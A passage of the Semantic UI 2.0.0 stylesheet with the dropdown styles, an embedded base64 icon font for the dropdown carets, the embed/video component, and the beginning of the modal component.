*/\n\n.ui.multiple.dropdown .dropdown.icon {\n  margin: 0em -0.71428571em 0em 0em;\n  padding: 0.5em;\n}\n\n/* Text */\n\n.ui.multiple.dropdown > .text {\n  position: static;\n  padding: 0;\n  max-width: 100%;\n  margin: 0.45240952em 0em 0.45240952em 0.71428571em;\n  line-height: 1.2142em;\n}\n\n.ui.multiple.dropdown > .label ~ .text {\n  display: none;\n}\n\n/*-----------------\n  Multiple Search\n-----------------*/\n\n/* Prompt Text */\n\n.ui.multiple.search.dropdown > .text {\n  display: inline-block;\n  position: absolute;\n  top: 0;\n  left: 0;\n  padding: inherit;\n  margin: 0.45240952em 0em 0.45240952em 0.71428571em;\n  line-height: 1.2142em;\n}\n\n.ui.multiple.search.dropdown > .label ~ .text {\n  display: none;\n}\n\n/* Search */\n\n.ui.multiple.search.dropdown > input.search {\n  position: static;\n  padding: 0;\n  max-width: 100%;\n  margin: 0.45240952em 0em 0.45240952em 0.71428571em;\n  width: 2.2em;\n  line-height: 1.2142em;\n}\n\n/*--------------\n     Inline\n---------------*/\n\n.ui.inline.dropdown {\n  cursor: pointer;\n  display: inline-block;\n  color: inherit;\n}\n\n.ui.inline.dropdown .dropdown.icon {\n  margin: 0em 0.5em 0em 0.25em;\n  vertical-align: baseline;\n}\n\n.ui.inline.dropdown > .text {\n  font-weight: bold;\n}\n\n.ui.inline.dropdown .menu {\n  cursor: auto;\n  margin-top: 0.25em;\n  border-radius: 0.28571429rem;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------------\n        Active\n----------------------*/\n\n/* Menu Item Active */\n\n.ui.dropdown .menu .active.item {\n  background: transparent;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.95);\n  box-shadow: none;\n  z-index: 12;\n}\n\n/*--------------------\n        Hover\n----------------------*/\n\n/* Menu Item Hover */\n\n.ui.dropdown .menu > .item:hover {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n  z-index: 13;\n}\n\n/*--------------------\n       Loading\n---------------------*/\n\n/* Positioning */\n\n.ui.loading.dropdown > i.icon:before,\n.ui.loading.dropdown > i.icon:after {\n  left: 30% !important;\n}\n\n.ui.loading.dropdown > i.icon {\n  top: 50% !important;\n}\n\n.ui.multiple.loading.dropdown > i.icon:before,\n.ui.multiple.loading.dropdown > i.icon:after {\n  top: 0% !important;\n  left: 0% !important;\n}\n\n.ui.loading.dropdown > i.icon:before {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  border-radius: 500rem;\n  border: 0.2em solid rgba(0, 0, 0, 0.1);\n}\n\n.ui.loading.dropdown > i.icon:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  box-shadow: 0px 0px 0px 1px transparent;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  -webkit-animation: dropdown-spin 0.6s linear;\n  animation: dropdown-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 transparent transparent;\n  border-style: solid;\n  border-width: 0.2em;\n}\n\n/* Coupling */\n\n.ui.loading.dropdown.button > i.icon:before,\n.ui.loading.dropdown.button > i.icon:after {\n  display: none;\n}\n\n@-webkit-keyframes dropdown-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes dropdown-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n/*--------------------\n     Default Text\n----------------------*/\n\n.ui.dropdown > .default.text,\n.ui.default.dropdown > .text {\n  color: rgba(179, 179, 179, 0.7);\n}\n\n.ui.dropdown:hover > .default.text,\n.ui.default.dropdown:hover > .text {\n  color: rgba(179, 179, 179, 0.7);\n}\n\n/*--------------------\n        Loading\n----------------------*/\n\n.ui.loading.dropdown > .text {\n  -webkit-transition: none;\n  transition: none;\n}\n\n/* Used To Check Position */\n\n.ui.dropdown .loading.menu {\n  display: block;\n  visibility: hidden;\n  z-index: -1;\n}\n\n/*--------------------\n    Keyboard Select\n----------------------*/\n\n/* Selected Item */\n\n.ui.dropdown.selected,\n.ui.dropdown .menu .selected.item {\n  background: rgba(0, 0, 0, 0.03);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------------\n    Search Filtered\n----------------------*/\n\n/* Filtered Item */\n\n.ui.dropdown > .filtered.text {\n  visibility: hidden;\n}\n\n.ui.dropdown .filtered.item {\n  display: none !important;\n}\n\n/*--------------------\n        Error\n----------------------*/\n\n.ui.dropdown.error,\n.ui.dropdown.error > .text,\n.ui.dropdown.error > .default.text {\n  color: #9f3a38;\n}\n\n.ui.selection.dropdown.error {\n  background: #fff6f6;\n  border-color: #e0b4b4;\n}\n\n.ui.selection.dropdown.error:hover {\n  border-color: #e0b4b4;\n}\n\n.ui.dropdown.error > .menu,\n.ui.dropdown.error > .menu .menu {\n  border-color: #e0b4b4;\n}\n\n.ui.dropdown.error > .menu > .item {\n  color: #9f3a38;\n}\n\n.ui.multiple.selection.error.dropdown > .label {\n  border-color: #e0b4b4;\n}\n\n/* Item Hover */\n\n.ui.dropdown.error > .menu > .item:hover {\n  background-color: #fff2f2;\n}\n\n/* Item Active */\n\n.ui.dropdown.error > .menu .active.item {\n  background-color: #fdcfcf;\n}\n\n/*--------------------\n        Disabled\n----------------------*/\n\n/* Disabled */\n\n.ui.disabled.dropdown,\n.ui.dropdown .menu > .disabled.item {\n  cursor: default;\n  pointer-events: none;\n  opacity: 0.45;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n    Direction\n---------------*/\n\n/* Flyout Direction */\n\n.ui.dropdown .menu {\n  left: 0px;\n}\n\n/* Default Side (Right) */\n\n.ui.dropdown .right.menu > .menu,\n.ui.dropdown .menu .right.menu {\n  left: 100% !important;\n  right: auto !important;\n  border-radius: 0.28571429rem !important;\n}\n\n/* Left Flyout Menu */\n\n.ui.dropdown > .left.menu .menu,\n.ui.dropdown .menu .left.menu {\n  left: auto !important;\n  right: 100% !important;\n  border-radius: 0.28571429rem !important;\n}\n\n.ui.dropdown .item .left.dropdown.icon,\n.ui.dropdown .left.menu .item .dropdown.icon {\n  width: auto;\n  float: left;\n  margin: 0em 0.71428571rem 0em 0em;\n}\n\n.ui.dropdown .item .left.dropdown.icon,\n.ui.dropdown .left.menu .item .dropdown.icon {\n  width: auto;\n  float: left;\n  margin: 0em 0.71428571rem 0em 0em;\n}\n\n.ui.dropdown .item .left.dropdown.icon + .text,\n.ui.dropdown .left.menu .item .dropdown.icon + .text {\n  margin-left: 1em;\n}\n\n/*--------------\n     Upward\n---------------*/\n\n/* Upward Main Menu */\n\n.ui.upward.dropdown > .menu {\n  top: auto;\n  bottom: 100%;\n  box-shadow: 0px 0px 3px 0px rgba(0, 0, 0, 0.08);\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n/* Upward Sub Menu */\n\n.ui.dropdown .upward.menu {\n  top: auto !important;\n  bottom: 0 !important;\n}\n\n/* Active Upward */\n\n.ui.simple.upward.active.dropdown,\n.ui.simple.upward.dropdown:hover {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em !important;\n}\n\n.ui.upward.dropdown.button:not(.pointing):not(.floating).active {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n/* Selection */\n\n.ui.upward.selection.dropdown .menu {\n  border-top-width: 1px !important;\n  border-bottom-width: 0px !important;\n  box-shadow: 0px -2px 3px 0px rgba(0, 0, 0, 0.08);\n}\n\n.ui.upward.selection.dropdown:hover {\n  box-shadow: 0px 0px 2px 0px rgba(0, 0, 0, 0.05);\n}\n\n/* Active Upward */\n\n.ui.active.upward.selection.dropdown {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem !important;\n}\n\n/* Visible Upward */\n\n.ui.upward.selection.dropdown.visible {\n  box-shadow: 0px 0px 3px 0px rgba(0, 0, 0, 0.08);\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem !important;\n}\n\n/* Visible Hover Upward */\n\n.ui.upward.active.selection.dropdown:hover {\n  box-shadow: 0px 0px 3px 0px rgba(0, 0, 0, 0.05);\n}\n\n.ui.upward.active.selection.dropdown:hover .menu {\n  box-shadow: 0px -2px 3px 0px rgba(0, 0, 0, 0.08);\n}\n\n/*--------------\n     Simple\n---------------*/\n\n/*  Selection Menu */\n\n.ui.scrolling.dropdown .menu,\n.ui.dropdown .scrolling.menu {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.ui.scrolling.dropdown .menu {\n  overflow-x: hidden;\n  overflow-y: auto;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-overflow-scrolling: touch;\n  min-width: 100% !important;\n  width: auto !important;\n}\n\n.ui.dropdown .scrolling.menu {\n  position: static;\n  overflow-y: auto;\n  border: none;\n  box-shadow: none !important;\n  border-radius: 0 !important;\n  margin: 0 !important;\n  min-width: 100% !important;\n  width: auto !important;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.scrolling.dropdown .menu .item.item.item,\n.ui.dropdown .scrolling.menu > .item.item.item {\n  border-top: none;\n  padding-right: calc( 1.14285714rem  +  17px ) !important;\n}\n\n.ui.scrolling.dropdown .menu .item:first-child,\n.ui.dropdown .scrolling.menu .item:first-child {\n  border-top: none;\n}\n\n.ui.dropdown > .animating.menu .scrolling.menu,\n.ui.dropdown > .visible.menu .scrolling.menu {\n  display: block;\n}\n\n/* Scrollbar in IE */\n\n@media all and (-ms-high-contrast: none) {\n  .ui.scrolling.dropdown .menu,\n  .ui.dropdown .scrolling.menu {\n    min-width: calc(100% -  17px );\n  }\n}\n\n@media only screen and (max-width: 767px) {\n  .ui.scrolling.dropdown .menu,\n  .ui.dropdown .scrolling.menu {\n    max-height: 9.71428571rem;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.scrolling.dropdown .menu,\n  .ui.dropdown .scrolling.menu {\n    max-height: 14.57142857rem;\n  }\n}\n\n@media only screen and (min-width: 992px) {\n  .ui.scrolling.dropdown .menu,\n  .ui.dropdown .scrolling.menu {\n    max-height: 19.42857143rem;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.scrolling.dropdown .menu,\n  .ui.dropdown .scrolling.menu {\n    max-height: 19.42857143rem;\n  }\n}\n\n/*--------------\n     Simple\n---------------*/\n\n/* Displays without javascript */\n\n.ui.simple.dropdown .menu:before,\n.ui.simple.dropdown .menu:after {\n  display: none;\n}\n\n.ui.simple.dropdown .menu {\n  position: absolute;\n  display: block;\n  overflow: hidden;\n  top: -9999px !important;\n  opacity: 0;\n  width: 0;\n  height: 0;\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n}\n\n.ui.simple.active.dropdown,\n.ui.simple.dropdown:hover {\n  border-bottom-left-radius: 0em !important;\n  border-bottom-right-radius: 0em !important;\n}\n\n.ui.simple.active.dropdown > .menu,\n.ui.simple.dropdown:hover > .menu {\n  overflow: visible;\n  width: auto;\n  height: auto;\n  top: 100% !important;\n  opacity: 1;\n}\n\n.ui.simple.dropdown > .menu > .item:active > .menu,\n.ui.simple.dropdown:hover > .menu > .item:hover > .menu {\n  overflow: visible;\n  width: auto;\n  height: auto;\n  top: 0% !important;\n  left: 100% !important;\n  opacity: 1;\n}\n\n.ui.simple.disabled.dropdown:hover .menu {\n  display: none;\n  height: 0px;\n  width: 0px;\n  overflow: hidden;\n}\n\n/* Visible */\n\n.ui.simple.visible.dropdown > .menu {\n  display: block;\n}\n\n/*--------------\n      Fluid\n---------------*/\n\n.ui.fluid.dropdown {\n  display: block;\n  width: 100%;\n  min-width: 0em;\n}\n\n.ui.fluid.dropdown > .dropdown.icon {\n  float: right;\n}\n\n/*--------------\n    Floating\n---------------*/\n\n.ui.floating.dropdown .menu {\n  left: 0;\n  right: auto;\n  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.08) !important;\n  border-radius: 0.28571429rem !important;\n}\n\n.ui.floating.dropdown > .menu {\n  margin-top: 0.5em !important;\n  border-radius: 0.28571429rem !important;\n}\n\n/*--------------\n     Pointing\n---------------*/\n\n.ui.pointing.dropdown > .menu {\n  top: 100%;\n  margin-top: 0.71428571rem;\n  border-radius: 0.28571429rem;\n}\n\n.ui.pointing.dropdown > .menu:after {\n  display: block;\n  position: absolute;\n  pointer-events: none;\n  content: '';\n  visibility: visible;\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n  transform: rotate(45deg);\n  width: 0.5em;\n  height: 0.5em;\n  box-shadow: -1px -1px 0px 1px rgba(0, 0, 0, 0.1);\n  background: #ffffff;\n  z-index: 2;\n}\n\n.ui.pointing.dropdown > .menu:after {\n  top: -0.25em;\n  left: 50%;\n  margin: 0em 0em 0em -0.25em;\n}\n\n/* Top Left Pointing */\n\n.ui.top.left.pointing.dropdown > .menu {\n  top: 100%;\n  bottom: auto;\n  left: 0%;\n  right: auto;\n  margin: 1em 0em 0em;\n}\n\n.ui.top.left.pointing.dropdown > .menu {\n  top: 100%;\n  bottom: auto;\n  left: 0%;\n  right: auto;\n  margin: 1em 0em 0em;\n}\n\n.ui.top.left.pointing.dropdown > .menu:after {\n  top: -0.25em;\n  left: 1em;\n  right: auto;\n  margin: 0em;\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n  transform: rotate(45deg);\n}\n\n/* Top Right  Pointing */\n\n.ui.top.right.pointing.dropdown > .menu {\n  top: 100%;\n  bottom: auto;\n  right: 0%;\n  left: auto;\n  margin: 1em 0em 0em;\n}\n\n.ui.top.right.pointing.dropdown > .menu:after {\n  top: -0.25em;\n  left: auto;\n  right: 1em;\n  margin: 0em;\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n  transform: rotate(45deg);\n}\n\n/* Left Pointing */\n\n.ui.left.pointing.dropdown > .menu {\n  top: 0%;\n  left: 100%;\n  right: auto;\n  margin: 0em 0em 0em 1em;\n}\n\n.ui.left.pointing.dropdown > .menu:after {\n  top: 1em;\n  left: -0.25em;\n  margin: 0em 0em 0em 0em;\n  -webkit-transform: rotate(-45deg);\n  -ms-transform: rotate(-45deg);\n  transform: rotate(-45deg);\n}\n\n/* Right Pointing */\n\n.ui.right.pointing.dropdown > .menu {\n  top: 0%;\n  left: auto;\n  right: 100%;\n  margin: 0em 1em 0em 0em;\n}\n\n.ui.right.pointing.dropdown > .menu:after {\n  top: 1em;\n  left: auto;\n  right: -0.25em;\n  margin: 0em 0em 0em 0em;\n  -webkit-transform: rotate(135deg);\n  -ms-transform: rotate(135deg);\n  transform: rotate(135deg);\n}\n\n/* Bottom Pointing */\n\n.ui.bottom.pointing.dropdown > .menu {\n  top: auto;\n  bottom: 100%;\n  left: 0%;\n  right: auto;\n  margin: 0em 0em 1em;\n}\n\n.ui.bottom.pointing.dropdown > .menu:after {\n  top: auto;\n  bottom: -0.25em;\n  right: auto;\n  margin: 0em;\n  -webkit-transform: rotate(-135deg);\n  -ms-transform: rotate(-135deg);\n  transform: rotate(-135deg);\n}\n\n/* Reverse Sub-Menu Direction */\n\n.ui.bottom.pointing.dropdown > .menu .menu {\n  top: auto !important;\n  bottom: 0px !important;\n}\n\n/* Bottom Left */\n\n.ui.bottom.left.pointing.dropdown > .menu {\n  left: 0%;\n  right: auto;\n}\n\n.ui.bottom.left.pointing.dropdown > .menu:after {\n  left: 1em;\n  right: auto;\n}\n\n/* Bottom Right */\n\n.ui.bottom.right.pointing.dropdown > .menu {\n  right: 0%;\n  left: auto;\n}\n\n.ui.bottom.right.pointing.dropdown > .menu:after {\n  left: auto;\n  right: 1em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/* Dropdown Carets */\n\n@font-face {\n  font-family: 'Dropdown';\n  src: url(\"data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfuIIAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zjo82LgAAAFwAAABVGhlYWQAQ88bAAACxAAAADZoaGVhAwcB6QAAAvwAAAAkaG10eAS4ABIAAAMgAAAAIGxvY2EBNgDeAAADQAAAABJtYXhwAAoAFgAAA1QAAAAgbmFtZVcZpu4AAAN0AAABRXBvc3QAAwAAAAAEvAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAIABJQElABMAABM0NzY3BTYXFhUUDwEGJwYvASY1AAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/BwYAAQAAAG4BJQESABMAADc0PwE2MzIfARYVFAcGIyEiJyY1AAWABgcIBYAGBgUI/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/wgEBwEBB38GBgAAAAABAAAASQClAW4AEwAANxE0NzYzMh8BFhUUDwEGIyInJjUABQYHCAWABgaABQgHBgVbAQAIBQYGgAUIBwWABgYFBwAAAAEAAAABAADZuaKOXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAAAAACgAUAB4AQgBkAIgAqgAAAAEAAAAIABQAAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAOAAAAAQAAAAAAAgAOAEcAAQAAAAAAAwAOACQAAQAAAAAABAAOAFUAAQAAAAAABQAWAA4AAQAAAAAABgAHADIAAQAAAAAACgA0AGMAAwABBAkAAQAOAAAAAwABBAkAAgAOAEcAAwABBAkAAwAOACQAAwABBAkABAAOAFUAAwABBAkABQAWAA4AAwABBAkABgAOADkAAwABBAkACgA0AGMAaQBjAG8AbQBvAG8AbgBWAGUAcgBzAGkAbwBuACAAMQAuADAAaQBjAG8AbQBvAG8Abmljb21vb24AaQBjAG8AbQBvAG8AbgBSAGUAZwB1AGwAYQByAGkAYwBvAG0AbwBvAG4ARgBvAG4AdAAgAGcAZQBuAGUAcgBhAHQAZQBkACAAYgB5ACAASQBjAG8ATQBvAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") format('truetype'), url(\"data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAAVwAAoAAAAABSgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+4ghnYXNwAAADfAAAAAgAAAAIAAAAEGhlYWQAAAOEAAAANgAAADYAQ88baGhlYQAAA7wAAAAkAAAAJAMHAelobXR4AAAD4AAAACAAAAAgBLgAEm1heHAAAAQAAAAABgAAAAYACFAAbmFtZQAABAgAAAFFAAABRVcZpu5wb3N0AAAFUAAAACAAAAAgAAMAAAEABAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+LiwwHi2v4lPh0BR0AAACIDx0AAACNER0AAAAJHQAAAdASAAkBAQgPERMWGyAlKmljb21vb25pY29tb29udTB1MXUyMHVGMEQ3dUYwRDh1RjBEOXVGMERBAAACAYkABgAIAgABAAQABwAKAA0AVgCfAOgBL/yUDvyUDvyUDvuUDvtvi/emFYuQjZCOjo+Pj42Qiwj3lIsFkIuQiY6Hj4iNhouGi4aJh4eHCPsU+xQFiIiGiYaLhouHjYeOCPsU9xQFiI+Jj4uQCA77b4v3FBWLkI2Pjo8I9xT3FAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiY+LkAgO+92d928Vi5CNkI+OCPcU9xQFjo+QjZCLkIuPiY6Hj4iNhouGCIv7lAWLhomHh4iIh4eJhouGi4aNiI8I+xT3FAWHjomPi5AIDvvdi+YVi/eUBYuQjZCOjo+Pj42Qi5CLkImOhwj3FPsUBY+IjYaLhouGiYeHiAj7FPsUBYiHhomGi4aLh42Hj4iOiY+LkAgO+JQU+JQViwwKAAAAAAMCAAGQAAUAAAFMAWYAAABHAUwBZgAAAPUAGQCEAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/g/+AB4AAgAAAAAQAAAAAAAAAAAAAAIAAAAAAAAgAAAAMAAAAUAAMAAQAAABQABAA4AAAACgAIAAIAAgABACDw2v/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//wAPAAEAAAABAAA5emozXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAUAAACAAAAAAADgCuAAEAAAAAAAEADgAAAAEAAAAAAAIADgBHAAEAAAAAAAMADgAkAAEAAAAAAAQADgBVAAEAAAAAAAUAFgAOAAEAAAAAAAYABwAyAAEAAAAAAAoANABjAAMAAQQJAAEADgAAAAMAAQQJAAIADgBHAAMAAQQJAAMADgAkAAMAAQQJAAQADgBVAAMAAQQJAAUAFgAOAAMAAQQJAAYADgA5AAMAAQQJAAoANABjAGkAYwBvAG0AbwBvAG4AVgBlAHIAcwBpAG8AbgAgADEALgAwAGkAYwBvAG0AbwBvAG5pY29tb29uAGkAYwBvAG0AbwBvAG4AUgBlAGcAdQBsAGEAcgBpAGMAbwBtAG8AbwBuAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\") format('woff');\n  font-weight: normal;\n  font-style: normal;\n}\n\n.ui.dropdown > .dropdown.icon {\n  font-family: 'Dropdown';\n  line-height: 1;\n  height: 1em;\n  width: 1.23em;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  font-weight: normal;\n  font-style: normal;\n  text-align: center;\n}\n\n.ui.dropdown > .dropdown.icon {\n  width: auto;\n}\n\n.ui.dropdown > .dropdown.icon:before {\n  content: '\\f0d7';\n}\n\n/* Sub Menu */\n\n.ui.dropdown .menu .item .dropdown.icon:before {\n  content: '\\f0da' ;\n}\n\n.ui.dropdown .item .left.dropdown.icon:before,\n.ui.dropdown .left.menu .item .dropdown.icon:before {\n  content: \"\\f0d9\" ;\n}\n\n/* Vertical Menu Dropdown */\n\n.ui.vertical.menu .dropdown.item > .dropdown.icon:before {\n  content: \"\\f0da\" ;\n}\n\n/* Icons for Reference\n.dropdown.down.icon {\n  content: \"\\f0d7\";\n}\n.dropdown.up.icon {\n  content: \"\\f0d8\";\n}\n.dropdown.left.icon {\n  content: \"\\f0d9\";\n}\n.dropdown.icon.icon {\n  content: \"\\f0da\";\n}\n*/\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Video\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Types\n*******************************/\n\n.ui.embed {\n  position: relative;\n  max-width: 100%;\n  height: 0px;\n  overflow: hidden;\n  background: #dcddde;\n  padding-bottom: 56.25%;\n}\n\n/*-----------------\n  Embedded Content\n------------------*/\n\n.ui.embed iframe,\n.ui.embed embed,\n.ui.embed object {\n  position: absolute;\n  border: none;\n  width: 100%;\n  height: 100%;\n  top: 0px;\n  left: 0px;\n  margin: 0em;\n  padding: 0em;\n}\n\n/*-----------------\n      Embed\n------------------*/\n\n.ui.embed > .embed {\n  display: none;\n}\n\n/*--------------\n   Placeholder\n---------------*/\n\n.ui.embed > .placeholder {\n  position: absolute;\n  cursor: pointer;\n  top: 0px;\n  left: 0px;\n  display: block;\n  width: 100%;\n  height: 100%;\n  background-color: radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));\n}\n\n/*--------------\n      Icon\n---------------*/\n\n.ui.embed > .icon {\n  cursor: pointer;\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  width: 100%;\n  height: 100%;\n  z-index: 2;\n}\n\n.ui.embed > .icon:after {\n  position: absolute;\n  top: 0%;\n  left: 0%;\n  width: 100%;\n  height: 100%;\n  z-index: 3;\n  content: '';\n  background: -webkit-radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));\n  background: radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));\n  opacity: 0.5;\n  -webkit-transition: opacity 0.5s ease;\n  transition: opacity 0.5s ease;\n}\n\n.ui.embed > .icon:before {\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  z-index: 4;\n  -webkit-transform: translateX(-50%) translateY(-50%);\n  -ms-transform: translateX(-50%) translateY(-50%);\n  transform: translateX(-50%) translateY(-50%);\n  color: #ffffff;\n  font-size: 6rem;\n  text-shadow: 0px 2px 10px rgba(34, 36, 38, 0.2);\n  -webkit-transition: opacity 0.5s ease, color 0.5s ease;\n  transition: opacity 0.5s ease, color 0.5s ease;\n  z-index: 10;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------\n     Hover\n---------------*/\n\n.ui.embed .icon:hover:after {\n  background: -webkit-radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));\n  background: radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));\n  opacity: 1;\n}\n\n.ui.embed .icon:hover:before {\n  color: #ffffff;\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.active.embed > .icon,\n.ui.active.embed > .placeholder {\n  display: none;\n}\n\n.ui.active.embed > .embed {\n  display: block;\n}\n\n/*******************************\n        Video Overrides\n*******************************/\n\n/*******************************\n          Variations\n*******************************/\n\n.ui.square.embed {\n  padding-bottom: 100%;\n}\n\n.ui[class*=\"4:3\"].embed {\n  padding-bottom: 75%;\n}\n\n.ui[class*=\"16:9\"].embed {\n  padding-bottom: 56.25%;\n}\n\n.ui[class*=\"21:9\"].embed {\n  padding-bottom: 42.85714286%;\n}\n/*!\n * # Semantic UI 2.0.0 - Modal\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Modal\n*******************************/\n\n.ui.modal {\n  display: none;\n  position: fixed;\n  z-index: 1001;\n  top: 50%;\n  left: 50%;\n  text-align: left;\n  background: #ffffff;\n  border: none;\n  box-shadow: 1px 3px 3px 0px rgba(0, 0, 0, 0.2), 1px 3px 15px 2px rgba(0, 0, 0, 0.2);\n  -webkit-transform-origin: 50% 25%;\n  -ms-transform-origin: 50% 25%;\n  transform-origin: 50% 25%;\n  border-radius: 0.28571429rem;\n  -webkit-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  user-select: text;\n  will-change: top, left, margin, transform, opacity;\n}\n\n.ui.modal > :first-child:not(.icon),\n.ui.modal > .icon:first-child + * {\n  border-top-left-radius: 0.28571429rem;\n  border-top-right-radius: 0.28571429rem;\n}\n\n.ui.modal > :last-child {\n  border-bottom-left-radius: 0.28571429rem;\n  border-bottom-right-radius: 0.28571429rem;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/*--------------\n     Close\n---------------*/\n\n.ui.modal > .close {\n  cursor: pointer;\n  position: absolute;\n  top: -2.5rem;\n  right: -2.5rem;\n  z-index: 1;\n  opacity: 0.8;\n  font-size: 1.25em;\n  color: #ffffff;\n  width: 2.25rem;\n  height: 2.25rem;\n  padding: 0.625rem 0rem 0rem 0rem;\n}\n\n.ui.modal > .close:hover {\n  opacity: 1;\n}\n\n/*--------------\n     Header\n---------------*/\n\n.ui.modal > .header {\n  display: block;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  background: #ffffff;\n  margin: 0em;\n  padding: 1.25rem 1.5rem;\n  box-shadow: none;\n  color: rgba(0, 0, 0, 0.85);\n  border-bottom: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.modal > .header:not(.ui) {\n  font-size: 1.42857143rem;\n  line-height: 1.2857em;\n  font-weight: bold;\n}\n\n/*--------------\n     Content\n---------------*/\n\n.ui.modal > .content {\n  display: block;\n  width: 100%;\n  font-size: 1em;\n  line-height: 1.4;\n  padding: 1.5rem;\n  background: #ffffff;\n}\n\n.ui.modal > .image.content {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  